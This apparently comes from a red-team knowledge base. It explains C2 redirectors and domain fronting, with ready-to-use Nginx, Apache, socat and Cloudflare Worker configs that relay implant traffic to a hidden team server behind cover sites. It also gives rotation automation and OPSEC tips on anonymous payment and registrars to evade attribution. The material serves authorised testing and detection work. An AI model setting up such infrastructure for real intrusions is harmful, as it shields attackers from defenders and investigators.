Redirectors and Domain Fronting
#Overview
Redirectors and domain fronting protect the team server from direct exposure. The target's implant communicates with a redirector or CDN edge, which forwards valid C2 traffic to the team server while dropping everything else. This makes attribution harder and allows infrastructure rotation without recompiling implants.
#Architecture
Implant → CDN Edge / Domain Front → Redirector 1 → Redirector 2 → Team Server
│ │
(Filter by UA, (Filter by URI,
header, IP) source IP)
Principles:
- Team server IP is never in the implant binary or DNS records
- Redirectors can be rotated independently of the team server
- Domain fronting hides the real C2 domain from network monitors
- Multiple redirector layers provide defense in depth
#Nginx Reverse Proxy Redirector
The most common redirector: Nginx receives all traffic on port 443, but only forwards requests matching the C2 profile.
#Basic Setup
# /etc/nginx/sites-available/c2-redirector
server {
listen 443 ssl;
server_name c2-legitimate-looking.com;
ssl_certificate /etc/letsencrypt/live/c2-legitimate-looking.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2-legitimate-looking.com/privkey.pem;
# Legitimate website for cover traffic
location / {
proxy_pass https://www.example.com;
proxy_set_header Host www.example.com;
proxy_set_header X-Real-IP $remote_addr;
}
# C2 callback path (only this gets forwarded)
location /api/v1/ {
proxy_pass https://<team_server_ip>:443/;
proxy_set_header Host <team_server_host>;
proxy_set_header X-Real-IP $remote_addr;
}
}
#Advanced Filtering
server {
listen 443 ssl;
server_name c2-legitimate-looking.com;
ssl_certificate /etc/letsencrypt/live/c2-legitimate-looking.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2-legitimate-looking.com/privkey.pem;
# Block known scanner IPs
deny 185.220.101.0/24;
deny 45.33.32.0/24;
# Only allow specific User-Agent (matching malleable C2 profile)
if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") {
return 404;
}
# Only allow specific Cookie header
location /images/ {
if ($http_cookie !~* "session=[A-Za-z0-9]{32}") {
return 404;
}
proxy_pass https://<team_server_ip>:8443/;
proxy_set_header Host <team_server_host>;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
# Everything else: serve legitimate content
location / {
root /var/www/cover-site;
index index.html;
}
}
#Let's Encrypt Certificate
# Install certbot
apt install certbot python3-certbot-nginx
# Get certificate (domain must point to this server)
certbot --nginx -d c2-legitimate-looking.com
# Auto-renew
certbot renew --dry-run
#Apache mod_proxy Redirector
# /etc/apache2/sites-available/c2-redirector.conf
<VirtualHost *:443>
ServerName c2-legitimate-looking.com
SSLEngine on
SSLCertificateFile /etc/letsencrypt/live/c2-legitimate-looking.com/fullchain.pem
SSLCertificateKeyFile /etc/letsencrypt/live/c2-legitimate-looking.com/privkey.pem
# Filter by User-Agent
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} !=^Mozilla/5\.0\ \(Windows\ NT\ 10\.0.*$
RewriteRule .* - [F]
# C2 path: forward to team server
SSLProxyEngine On
SSLProxyCheckPeerCN Off
ProxyPass /api/v1/ https://<team_server_ip>:443/
ProxyPassReverse /api/v1/ https://<team_server_ip>:443/
# Cover traffic: serve local content
DocumentRoot /var/www/cover-site
</VirtualHost>
# Enable modules
a2enmod proxy proxy_http ssl rewrite
systemctl restart apache2
#socat Redirector (Minimal)
For lightweight redirectors with no filtering — just TCP relay.
# Simple TCP forward: redirector:443 → team_server:443
socat TCP-LISTEN:443,fork TCP:<team_server_ip>:443
# With TLS termination (redirector handles TLS, forwards plain TCP to team server)
socat OPENSSL-LISTEN:443,cert=/tmp/server.pem,key=/tmp/server.key,fork TCP:<team_server_ip>:8443
# UDP (for DNS C2)
socat UDP-LISTEN:53,fork UDP:<team_server_ip>:53
# As systemd service (persistent)
cat > /etc/systemd/system/socat-redirector.service << EOF
[Unit]
Description=socat C2 redirector
After=network.target
[Service]
ExecStart=/usr/bin/socat TCP-LISTEN:443,fork TCP:<team_server_ip>:443
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
EOF
systemctl enable socat-redirector
systemctl start socat-redirector
#Domain Fronting
Domain fronting exploits CDN architecture: the TLS SNI (Server Name Indication) shows one domain (the front), while the HTTP Host header shows another (the real C2 domain). The CDN routes the request based on the Host header, not the SNI.
#How It Works
1. TLS handshake: SNI = cdn-provider.com (allowed, looks normal)
2. HTTP request: Host = c2-secret.evil.com (CDN routes to this origin)
3. CDN forwards to your origin server (the redirector/team server)
4. Network monitors see a connection to cdn-provider.com (not C2)
#Cloudflare Domain Fronting
# Setup:
# 1. Domain c2-front.com on Cloudflare (Pro plan for WebSocket)
# 2. Cloudflare resolves c2-front.com to Cloudflare edge IPs
# 3. Origin server: your redirector at <redirector_ip>
# In your C2 profile, configure:
# - HTTPS callback to c2-front.com (SNI)
# - Host header: c2-front.com (must match SNI on Cloudflare now)
# - Use Cloudflare Workers for advanced routing
#Cloudflare Workers (Modern Domain Fronting Alternative)
Cloudflare Workers provide a serverless function that can inspect and route requests at the CDN edge. This is the modern replacement for traditional domain fronting.
// Cloudflare Worker: c2-router.js
export default {
async fetch(request) {
const url = new URL(request.url);
// Check for C2 beacon signature
if (request.headers.get('X-Beacon') === 'valid-token') {
// Forward to team server
return fetch('https://<team_server_ip>' + url.pathname, {
method: request.method,
headers: request.headers,
body: request.body,
});
}
// Everything else: serve cover content
return fetch('https://www.legitimate-site.com' + url.pathname);
}
};
# Deploy with Wrangler CLI
npm install -g wrangler
wrangler login
wrangler deploy
# Configure custom domain in Cloudflare dashboard:
# Workers → Add route → c2-front.com/*
#Azure CDN / Front Door Domain Fronting
# Azure Front Door supports domain fronting via multi-host setups
# 1. Create Azure Front Door profile
# 2. Add frontend endpoint: c2-front.azurefd.net
# 3. Add backend pool: your redirector IP
# 4. Configure routing rules
# The SNI shows *.azurefd.net (legitimate Microsoft domain)
# The Host header tells Front Door which backend to route to
#Multi-Layer Redirector Architecture
For high-stakes engagements, use multiple redirector layers.
Implant → CDN Edge → Redirector A (filter UA/IP) → Redirector B (filter URI) → Team Server
# Redirector A: Filter by User-Agent and source IP
# Nginx config:
# Only allow specific UA and specific IP ranges
# Redirector B: Filter by URI path and HTTP method
# Nginx config:
# Only allow specific URI paths matching C2 profile
# Team Server: Only accept connections from Redirector B's IP
iptables -A INPUT -p tcp --dport 443 -s <redirector_b_ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
#Rotation Strategy
# When a redirector is detected/blocked:
# 1. Spin up new VPS (Terraform/Ansible automated)
# 2. Deploy redirector config (Ansible playbook)
# 3. Update DNS (change A record to new VPS IP)
# 4. Implant auto-reconnects (no recompilation needed)
# 5. Decommission old VPS
# Terraform snippet for rapid redirector deployment
# resource "digitalocean_droplet" "redirector" {
# count = 3
# name = "redirector-${count.index}"
# image = "ubuntu-22-04-x64"
# region = "nyc1"
# size = "s-1vcpu-1gb"
# user_data = file("cloud-init-redirector.yaml")
# }
#Common Pitfalls
- SNI/Host mismatch: Modern CDNs check SNI against Host header. Domain fronting may not work without Workers.
- Certificate pinning: If the target application pins certificates, your redirector's cert won't match.
- Redirector downtime: If all redirectors go down, implants lose C2. Use multiple redirectors for redundancy.
- DNS TTL: Low TTL on C2 domain DNS records enables fast rotation but increases DNS query visibility.
- Cover site quality: A redirector serving a default Nginx page is suspicious. Deploy a realistic cover website.
#OPSEC Considerations
- Use VPS providers in different jurisdictions for each redirector layer
- Pay with cryptocurrency and use privacy-preserving registrars for domains
- Never reuse IPs across engagements
- Set kill dates on implants to auto-stop after the engagement window
- Use Let's Encrypt certificates (free, legitimate, auto-renewing)
- Monitor your redirector access logs for blue team scanning/probing
- Destroy VPS instances after the engagement — don't just stop them
#Cross-References
- C2 Framework Setup — Team server and listener configuration
- Payload Staging — How staged payloads interact with redirectors
- Cloud Tunnels — Cloudflare Tunnel for C2 relay
- 11 - Data Exfiltration — C2 channel data exfiltration